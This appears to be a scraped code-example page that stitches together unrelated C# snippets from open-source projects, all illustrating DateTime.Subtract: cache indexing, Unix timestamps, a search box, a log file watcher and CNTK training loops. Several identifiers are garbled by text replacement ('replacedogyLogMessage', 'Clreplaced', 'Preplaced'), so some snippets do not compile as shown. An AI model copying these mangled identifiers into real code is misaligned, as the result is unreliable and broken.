                    this.GroupsAndChats = Enumerable.Concat<IMessageContainer>(client.Groups(), client.Chats());
                }

                this.OutdatedGroupIdList = this.CheckForOutdatedCache(this.GroupsAndChats);

                Debug.WriteLine("Dirty groups computed, count " + this.OutdatedGroupIdList.Count);

                using (var context = this.CacheManager.OpenNewContext())
                {
                    // Update Group and Chat metadata in cache
                    if (DateTime.Now.Subtract(this.LastMetadataUpdate) > this.SettingsManager.CoreSettings.MetadataCacheInterval)
                    {
                        this.LastMetadataUpdate = DateTime.Now;

                        // Remove old metadata. Doing a removal and addition in the same cycle was causing
                        // OtherUserId foreign key for Chats to be null. Doing true updates with cascading deletes
                        // should be possible, but this can be done easily in SQLite without any further migrations (GMDC 33.0.3)
                        foreach (var metaData in this.GroupsAndChats)
                        {
                            if (metaData is Group groupMetadata)
                            {
                                var existing = context.GroupMetadata
                                    .Include(g => g.Members)
                                    .FirstOrDefault(g => g.Id == groupMetadata.Id);
                                if (existing != null)
                                {
                                    foreach (var member in existing.Members)
                                    {
                                        context.Remove(member);
                                    }

                                    context.GroupMetadata.Remove(existing);
                                }
                            }
                            else if (metaData is Chat chatMetadata)
                            {
                                var existingChat = context.ChatMetadata.FirstOrDefault(c => c.Id == metaData.Id);
                                if (existingChat != null)
                                {
                                    context.Remove(existingChat);
                                }

                                var existingMember = context.Find<Member>(chatMetadata.OtherUser.Id);
                                if (existingMember != null)
                                {
                                    context.Remove(existingMember);
                                }
                            }
                        }

                        context.SaveChanges();

                        foreach (var addMetaData in this.GroupsAndChats)
                        {
                            context.Add(addMetaData);
                        }

                        context.SaveChanges();
                    }

                    // Process updates for each group and chat
                    var fullyUpdatedGroupIds = new List<string>();
                    foreach (var id in this.GroupUpdates.Keys)
                    {
                        var messages = this.GroupUpdates[id];
                        var groupState = context.IndexStatus.Find(id);
                        if (groupState == null)
                        {
                            // No cache status exists for this group. Force a full re-index.
                        }
                        else if (this.OutdatedGroupIdList.Contains(id))
                        {
                            var availableMessageIds = messages.Select(m => long.Parse(m.Id)).ToList();
                            var messageContainer = this.GroupsAndChats.FirstOrDefault(c => c.Id == id);

                            long.TryParse(groupState.LastIndexedId, out var lastIndexId);
                            if (availableMessageIds.Contains(lastIndexId))
                            {
                                // All new messages have already been loaded and are ready to index.
                                var newMessages = new List<Message>();
                                var newLastIndexId = lastIndexId;
                                foreach (var msg in messages)
                                {
                                    if (long.TryParse(msg.Id, out var messageId) && messageId > lastIndexId)
                                    {
                                        newMessages.Add(msg);

                                        if (messageId > newLastIndexId)
                                        {
                                            newLastIndexId = messageId;
                                        }
                                    }
                                }

                                context.AddMessages(newMessages);
                                groupState.LastIndexedId = newLastIndexId.ToString();
                                context.SaveChanges();
                                fullyUpdatedGroupIds.Add(id);
                            }
                        }
                    }

                    Debug.WriteLine("In place deltas applied, resolved " + fullyUpdatedGroupIds.Count);

                    // Preplaced 2, go through all originally outdated chats and run the complete re-index task on them
                    // if they couldn't be automatically updated with available messages.
                    foreach (var id in this.OutdatedGroupIdList)
                    {
                        if (!fullyUpdatedGroupIds.Contains(id))
                        {
                            var container = this.GroupsAndChats.FirstOrDefault(c => c.Id == id);
                            var cts = new CancellationTokenSource();

                            Debug.WriteLine("Full index scan required for " + container.Name);

                            // Don't start multiple overlapping indexing tasks.
                            var existingScan = this.TaskManager.RunningTasks.FirstOrDefault(t => t.Tag == id);
                            if (existingScan == null)
                            {
                                this.TaskManager.AddTask(
                                    $"Indexing {container.Name}",
                                    id,
                                    this.IndexGroup(container, cts),
                                    cts);
                            }
                        }
                    }
                }

                this.GroupUpdates.Clear();
                this.WaitingOnGroupAndChatListings.Reset();
            });
        }

19 Source : RequestAuthenticator.cs
with Apache License 2.0
from AlexWan

private static long UnixTimeStampUtc()
        {
            int unixTimeStamp;
            var currentTime = DateTime.Now;
            var dt = currentTime.ToUniversalTime();
            var unixEpoch = new DateTime(1970, 1, 1);
            unixTimeStamp = (Int32)(dt.Subtract(unixEpoch)).TotalSeconds;
            return unixTimeStamp;
        }

19 Source : OandaClient.cs
with Apache License 2.0
from AlexWan

private string ConvertDateTimeToAcceptDateFormat(DateTime time, AcceptDatetimeFormat format = AcceptDatetimeFormat.RFC3339)
        {
            // look into doing this within the JsonSerializer so that objects can use DateTime instead of string

            if (format == AcceptDatetimeFormat.RFC3339)
                return XmlConvert.ToString(time, "yyyy-MM-ddTHH:mm:ssZ");
            else if (format == AcceptDatetimeFormat.Unix)
                return ((int)(time.Subtract(new DateTime(1970, 1, 1))).TotalSeconds).ToString();
            else
                throw new ArgumentException(string.Format("The value ({0}) of the format parameter is invalid.", (short)format));
        }

19 Source : NewSecurityUi.xaml.cs
with Apache License 2.0
from AlexWan

private void RefreshSearchLabel(int freshnessTime)
        {
            LabelSearchString.Content = "🔍 " + _searchString;

            // clear search label after freshnessTime + 1 (seconds)
            // очистить строку поиска через freshnessTime + 1 (секунд)
            Task t = new Task(async () => {

                await Task.Delay((freshnessTime + 1) * 1000);

                if (DateTime.Now.Subtract(_startSearch).Seconds > freshnessTime)
                {
                    LabelSearchString.Dispatcher.Invoke(() =>
                    {
                        LabelSearchString.Content = "";
                    });
                }
            });
            t.Start();
        }

19 Source : NewSecurityUi.xaml.cs
with Apache License 2.0
from AlexWan

private void SearchSecurity(object sender, KeyPressEventArgs e)
        {
            if (e.KeyChar == (char)Keys.Back)
            {
                _startSearch = DateTime.Now;
                _searchString = "";
                LabelSearchString.Content = "";
                return;
            }

            if (!char.IsLetter(e.KeyChar) && !char.IsDigit(e.KeyChar))
            {
                return;
            }

            int freshnessTime = 3; // seconds

            if (_startSearch == null || DateTime.Now.Subtract(_startSearch).Seconds > freshnessTime)
            {
                _startSearch = DateTime.Now;
                _searchString = e.KeyChar.ToString();
                RefreshSearchLabel(freshnessTime);
            }
            else
            {
                _searchString += e.KeyChar.ToString();
                RefreshSearchLabel(freshnessTime);
            }

            char[] charsToTrim = { '*', ' ', '\'', '\"', '+', '=', '-', '!', '#', '%', '.', ',' };

            for (int c = 0; c < _grid.Columns.Count; c++)
            {
                for (int r = 0; r < _grid.Rows.Count; r++)
                {
                    if (_grid.Rows[r].Cells[c].Value.ToString().Trim(charsToTrim)
                        .StartsWith(_searchString, true, CultureInfo.InvariantCulture))
                    {
                        _grid.Rows[r].Cells[c].Selected = true;
                        return; // stop looping
                    }
                }
            }
        }

19 Source : DateTimeHelper.cs
with Apache License 2.0
from allure-framework

public static long ToUnixTimeMilliseconds(this DateTimeOffset dateTimeOffset)
        {
            return (long) dateTimeOffset.UtcDateTime.Subtract(new DateTime(1970, 1, 1)).TotalMilliseconds;
        }

19 Source : DateTime2ndExtension.cs
with MIT License
from AlphaYu

public static TimeSpan ToEpochTimeSpan(this DateTime @this) => @this.ToUniversalTime().Subtract(new DateTime(1970, 1, 1));

19 Source : ValidationHandler.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn

public void ValidateTask(Instance instance, string taskId, ModelStateDictionary validationResults)
        {
            int maxTimeTask = 48;

            switch (taskId)
            {
                case "Task_1":
                    if (DateTime.UtcNow.Subtract((DateTime)instance.Process.CurrentTask.Started).TotalMinutes > maxTimeTask)
                    {
                        validationResults.AddModelError("skjema", "Task 1 should have been completed within 48 hours. Send in is no longer available.");
                    }

                    break;
                default:
                    break;
            }
        }

19 Source : NodeProfilingData.cs
with MIT License
from alvpickmans

private void OnNodeExecutionEnd(NodeModel obj)
        {
            // For some reason, Dynamo is calling execution ended more than once for the same node
            // If not for this `endTime` check, it will overwrite Execution time;
            if (!this.startTime.HasValue || this.endTime.HasValue)
                return;

            this.endTime = DateTime.Now;
            this.ExecutionTime = this.endTime.Value.Subtract(this.startTime.Value);
            this.OnProfilingExecuted(this);
        }

19 Source : Session.cs
with MIT License
from alvpickmans

public Session End()
        {
            if (this.Executing)
            {
                this.ExecutionTime = DateTime.Now.Subtract(this.startTime.Value);
                this.startTime = null;
                this.OnSessionEnded(EventArgs.Empty);
            }

            return this;
        }

19 Source : FilePoolingManager.cs
with MIT License
from Analogy-LogViewer

private async void WatchFile_Changed(object sender, FileSystemEventArgs e)
        {
            if (_readingInprogress)
            {
                return;
            }

            FileInfo f = new FileInfo(e.FullPath);
            if (lastWriteTime == f.LastWriteTime)
            {
                return;
            }



            lock (_sync)
            {
                if (_readingInprogress || (Settings.EnableFilePoolingDelay && DateTime.Now.Subtract(lastRead).TotalSeconds <= Settings.FilePoolingDelayInterval))
                {
                    return;
                }
                lastWriteTime = f.LastWriteTime;
                lastRead = DateTime.Now;
                _watchFile.EnableRaisingEvents = false;
                _readingInprogress = true;

            }

            try
            {
                if (e.ChangeType == WatcherChangeTypes.Changed)
                {
                    LogUI.SetReloadColorDate(FileProcessor.lastNewestMessage);
                    await FileProcessor.Process(OfflineDataProvider, FileName, _cancellationTokenSource.Token);
                }
            }
            catch (Exception exception)
            {
                replacedogyLogMessage m = new replacedogyLogMessage
                {
                    Text = $"Error monitoring file {FileName}. Reason {exception}",
                    FileName = FileName,
                    Level = replacedogyLogLevel.Warning,
                    Category = "",
                    Clreplaced = replacedogyLogClreplaced.General,
                    Date = DateTime.Now
                };
                OnNewMessages?.Invoke(this, (new List<replacedogyLogMessage> { m }, FileName));
                replacedogyLogManager.Instance.LogErrorMessage(m);
            }
            finally
            {
                _readingInprogress = false;
                _watchFile.EnableRaisingEvents = true;
            }
        }

19 Source : Program.cs
with MIT License
from anastasios-stamoulis

List<List<double>> train_with_augmentation(bool use_finetuning) {
      var labels = CNTK.Variable.InputVariable(new int[] { 2 }, CNTK.DataType.Float, "labels");
      var features = CNTK.Variable.InputVariable(new int[] { 150, 150, 3 }, CNTK.DataType.Float, "features");
      var scalar_factor = CNTK.Constant.Scalar<float>((float)(1.0 / 255.0), computeDevice);
      var scaled_features = CNTK.CNTKLib.ElementTimes(scalar_factor, features);

      var conv_base = VGG16.get_model(scaled_features, computeDevice, use_finetuning);
      var model = Util.Dense(conv_base, 256, computeDevice);
      model = CNTK.CNTKLib.ReLU(model);
      model = CNTK.CNTKLib.Dropout(model, 0.5);
      model = Util.Dense(model, 2, computeDevice);

      var loss_function = CNTK.CNTKLib.CrossEntropyWithSoftmax(model.Output, labels);
      var accuracy_function = CNTK.CNTKLib.ClreplacedificationError(model.Output, labels);

      var pv = new CNTK.ParameterVector((System.Collections.ICollection)model.Parameters());
      var learner = CNTK.CNTKLib.AdamLearner(pv, new CNTK.TrainingParameterScheduleDouble(0.0001, 1), new CNTK.TrainingParameterScheduleDouble(0.99, 1));
      var trainer = CNTK.Trainer.CreateTrainer(model, loss_function, accuracy_function, new CNTK.Learner[] { learner });
      var evaluator = CNTK.CNTKLib.CreateEvaluator(accuracy_function);

      var train_minibatch_source = create_minibatch_source(features.Shape, 0, 1000, "train", is_training: true, use_augmentations: true);
      var validation_minibatch_source = create_minibatch_source(features.Shape, 1000, 500, "validation", is_training: false, use_augmentations: false);

      var train_featuresStreamInformation = train_minibatch_source.StreamInfo("features");
      var train_labelsStreamInformation = train_minibatch_source.StreamInfo("labels");
      var validation_featuresStreamInformation = validation_minibatch_source.StreamInfo("features");
      var validation_labelsStreamInformation = validation_minibatch_source.StreamInfo("labels");


      var training_accuracy = new List<double>();
      var validation_accuracy = new List<double>();
      for (int epoch = 0; epoch < max_epochs; epoch++) {
        var startTime = DateTime.Now;

        // training phase
        var epoch_training_error = 0.0;
        var pos = 0;
        var num_batches = 0;
        while (pos < 2000) {
          var pos_end = Math.Min(pos + batch_size, 2000);
          var minibatch_data = train_minibatch_source.GetNextMinibatch((uint)(pos_end - pos), computeDevice);
          var feed_dictionary = new batch_t() {
            { features, minibatch_data[train_featuresStreamInformation] },
            { labels, minibatch_data[train_labelsStreamInformation]}
          };
          trainer.TrainMinibatch(feed_dictionary, computeDevice);
          epoch_training_error += trainer.PreviousMinibatchEvaluationAverage();
          num_batches++;
          pos = pos_end;
        }
        epoch_training_error /= num_batches;
        training_accuracy.Add(1.0 - epoch_training_error);

        // evaluation phase
        var epoch_validation_error = 0.0;
        num_batches = 0;
        pos = 0;
        while (pos < 1000) {
          var pos_end = Math.Min(pos + batch_size, 1000);
          var minibatch_data = validation_minibatch_source.GetNextMinibatch((uint)(pos_end - pos), computeDevice);
          var feed_dictionary = new CNTK.UnorderedMapVariableMinibatchData() {
            { features, minibatch_data[validation_featuresStreamInformation] },
            { labels, minibatch_data[validation_labelsStreamInformation]}
          };
          epoch_validation_error += evaluator.TestMinibatch(feed_dictionary);
          pos = pos_end;
          num_batches++;
        }
        epoch_validation_error /= num_batches;
        validation_accuracy.Add(1.0 - epoch_validation_error);

        var elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine($"Epoch {epoch + 1:D2}/{max_epochs}, training_accuracy={1.0 - epoch_training_error:F3}, validation accuracy:{1 - epoch_validation_error:F3}, elapsed time={elapsedTime.TotalSeconds:F1} seconds");

        if (epoch_training_error < 0.001) { break; }
      }

      return new List<List<double>>() { training_accuracy, validation_accuracy };
    }

19 Source : Program.cs
with MIT License
from anastasios-stamoulis

List<List<double>> fit_generator(bool sequence_mode, CNTK.Variable x, CNTK.Variable y, CNTK.Function model, CNTK.Trainer trainer, CNTK.Evaluator evaluator, GeneratorsInfo gi, int epochs, int steps_per_epoch, CNTK.DeviceDescriptor computeDevice) {
      var history = new List<List<double>>() { new List<double>(), new List<double>() };

      var train_enumerator = gi.train_gen.GetEnumerator();
      var val_enumerator = gi.val_gen.GetEnumerator();

      var x_minibatch_dims = new List<int>(x.Shape.Dimensions);
      if ( sequence_mode==false ) {
        x_minibatch_dims.Add(gi.batch_size);
      }

      for (int current_epoch = 0; current_epoch < epochs; current_epoch++) {
        var epoch_start_time = DateTime.Now;

        var epoch_training_error = 0.0;
        {
          var num_total_samples = 0;
          for (int s = 0; s < steps_per_epoch; s++) {
            train_enumerator.MoveNext();
            var st = train_enumerator.Current;
            var x_minibatch = create_x_minibatch(sequence_mode, x, gi, st, computeDevice);
            var y_minibatch = CNTK.Value.CreateBatch(y.Shape, st.targets, computeDevice);

            var feed_dictionary = new Dictionary<CNTK.Variable, CNTK.Value> { { x, x_minibatch }, { y, y_minibatch } };
            bool isSweepEndInArguments = (s == (steps_per_epoch - 1));
            trainer.TrainMinibatch(feed_dictionary, isSweepEndInArguments, computeDevice);
            var minibatch_metric = trainer.PreviousMinibatchEvaluationAverage();
            epoch_training_error += minibatch_metric * st.targets.Length;
            num_total_samples += st.targets.Length;
            x_minibatch.Erase();
            y_minibatch.Erase();
          }
          epoch_training_error /= num_total_samples;
        }
        history[0].Add(epoch_training_error);

        var epoch_validation_error = 0.0;
        {
          var num_total_samples = 0;
          for (int s = 0; s < gi.val_steps; s++) {
            val_enumerator.MoveNext();
            var st = val_enumerator.Current;
            var x_minibatch = create_x_minibatch(sequence_mode, x, gi, st, computeDevice);
            var y_minibatch = CNTK.Value.CreateBatch(y.Shape, st.targets, computeDevice);
            var feed_dictionary = new CNTK.UnorderedMapVariableValuePtr() { { x, x_minibatch }, { y, y_minibatch } };
            var minibatch_metric = evaluator.TestMinibatch(feed_dictionary, computeDevice);
            epoch_validation_error += minibatch_metric * st.targets.Length;
            num_total_samples += st.targets.Length;
            x_minibatch.Erase();
            y_minibatch.Erase();
          }
          epoch_validation_error /= num_total_samples;
        }
        history[1].Add(epoch_validation_error);

        var elapsedTime = DateTime.Now.Subtract(epoch_start_time);
        Console.WriteLine($"Epoch {current_epoch + 1:D2}/{epochs}, Elapsed time: {elapsedTime.TotalSeconds:F3} seconds. " +
          $"Training Error: {epoch_training_error:F3}. Validation Error: {epoch_validation_error:F3}.");
      }

      return history;
    }

See More Examples